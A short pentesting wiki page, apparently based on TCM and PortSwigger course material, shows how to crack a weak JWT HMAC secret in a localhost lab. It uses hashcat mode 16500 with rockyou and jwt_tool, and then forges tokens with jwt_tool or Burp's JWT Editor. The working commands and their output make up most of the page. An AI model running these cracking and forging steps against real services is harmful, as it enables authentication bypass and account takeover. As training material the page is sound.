Weak Signature

circle-check

The below example is based on TCM's Practical API Hackingarrow-up-right course.

circle-info

List with well-known secrets: jwt.secrets.listarrow-up-right.

# Logging in with valid creds
$ curl -X POST http://localhost/login -H 'Content-Type: application/json' --data '{"username":"user","password":"user"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM"}

# Brute forcing the secret
hashcat -a0 -m16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM /usr/share/wordlists/rockyou
<SNIP>
eyJ...<SNIP>...CDM:ucyxu6
<SNIP>

# We can also crack the JWT secret with jwt_tool
$ jwt_tool -C -d /usr/share/wordlists/rockyou 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ==.BmzWWVFXmJsqH7K9dTxCyCopRB0HHFvCYKCfwW+8We4='

Original JWT:

[+] coffee is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "coffee"
circle-info

Hashcat signs the header and payload from the JWT using each wordlist secret and compares the resulting signature with the original one (16500arrow-up-right).

Figure 1: Tampering with the JWT's userid claim.

We can also tamper the required claims using jwt_tool.

We can also tamper the JWT's claim using the Burp's JWT Editorarrow-up-right extension (Figure 2).

The below example is base on PortSwigger's JWT attacksarrow-up-right module.

Figure 2: JWT tampering with Burp's JWT Editor extension.

Last updated

Was this helpful?